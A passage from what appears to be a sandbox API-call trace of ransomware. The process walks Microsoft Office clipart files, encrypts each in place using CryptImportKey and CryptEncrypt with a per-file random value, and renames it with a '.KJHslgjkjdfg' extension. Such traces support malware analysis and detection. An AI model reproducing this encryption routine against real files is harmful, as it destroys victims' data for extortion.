CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c10, dwBufLen=0x4c10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4c10) returned 1 [0198.761] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.761] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4c10, lpOverlapped=0x0) returned 1 [0198.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.762] SetEndOfFile (hFile=0x130) returned 1 [0198.765] GetProcessHeap () returned 0x990000 [0198.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.765] GetProcessHeap () returned 0x990000 [0198.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.kjhslgjkjdfg")) returned 1 [0198.766] CloseHandle (hObject=0x130) returned 1 [0198.767] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0198.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.767] GetProcessHeap () returned 0x990000 [0198.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.768] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.768] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.768] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.768] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.768] GetProcessHeap () returned 0x990000 [0198.768] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.768] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.768] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.768] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.771] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.771] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.771] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.771] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.771] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.771] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.771] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa0b0, lpOverlapped=0x0) returned 1 [0198.773] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa0b0, dwBufLen=0xa0b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa0b0) returned 1 [0198.773] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.773] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa0b0, lpOverlapped=0x0) returned 1 [0198.774] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.774] SetEndOfFile (hFile=0x130) returned 1 [0198.775] GetProcessHeap () returned 0x990000 [0198.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.775] GetProcessHeap () returned 0x990000 [0198.775] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.kjhslgjkjdfg")) returned 1 [0198.777] CloseHandle (hObject=0x130) returned 1 [0198.777] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0198.777] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.779] GetProcessHeap () returned 0x990000 [0198.779] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.779] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.779] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.779] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.782] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.782] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.782] GetProcessHeap () returned 0x990000 [0198.782] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.782] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.782] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.782] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.782] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.782] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.782] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.783] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.783] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.783] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.783] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.783] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4f08, lpOverlapped=0x0) returned 1 [0198.784] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f10, dwBufLen=0x4f10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4f10) returned 1 [0198.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4f10, lpOverlapped=0x0) returned 1 [0198.785] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.785] SetEndOfFile (hFile=0x130) returned 1 [0198.788] GetProcessHeap () returned 0x990000 [0198.788] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.788] GetProcessHeap () returned 0x990000 [0198.788] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.kjhslgjkjdfg")) returned 1 [0198.790] CloseHandle (hObject=0x130) returned 1 [0198.790] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0198.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.792] GetProcessHeap () returned 0x990000 [0198.792] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.792] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.792] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.795] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.795] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.795] GetProcessHeap () returned 0x990000 [0198.795] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.795] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.795] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.795] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.795] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.795] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.795] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.796] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.796] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.796] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.796] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5398, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5398, lpOverlapped=0x0) returned 1 [0198.797] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x53a0, dwBufLen=0x53a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x53a0) returned 1 [0198.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.797] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x53a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x53a0, lpOverlapped=0x0) returned 1 [0198.798] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.798] SetEndOfFile (hFile=0x130) returned 1 [0198.801] GetProcessHeap () returned 0x990000 [0198.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.801] GetProcessHeap () returned 0x990000 [0198.801] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf.kjhslgjkjdfg")) returned 1 [0198.802] CloseHandle (hObject=0x130) returned 1 [0198.802] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0198.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.803] GetProcessHeap () returned 0x990000 [0198.803] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.803] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.804] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.804] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0198.807] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.807] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.807] GetProcessHeap () returned 0x990000 [0198.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.807] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.807] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.807] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.807] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.808] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.808] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.808] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.808] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.808] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.808] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.808] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x366e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x366e, lpOverlapped=0x0) returned 1 [0198.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3670, dwBufLen=0x3670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3670) returned 1 [0198.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.810] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3670, lpOverlapped=0x0) returned 1 [0198.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.810] SetEndOfFile (hFile=0x130) returned 1 [0198.813] GetProcessHeap () returned 0x990000 [0198.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.813] GetProcessHeap () returned 0x990000 [0198.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.kjhslgjkjdfg")) returned 1 [0198.815] CloseHandle (hObject=0x130) returned 1 [0198.815] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, 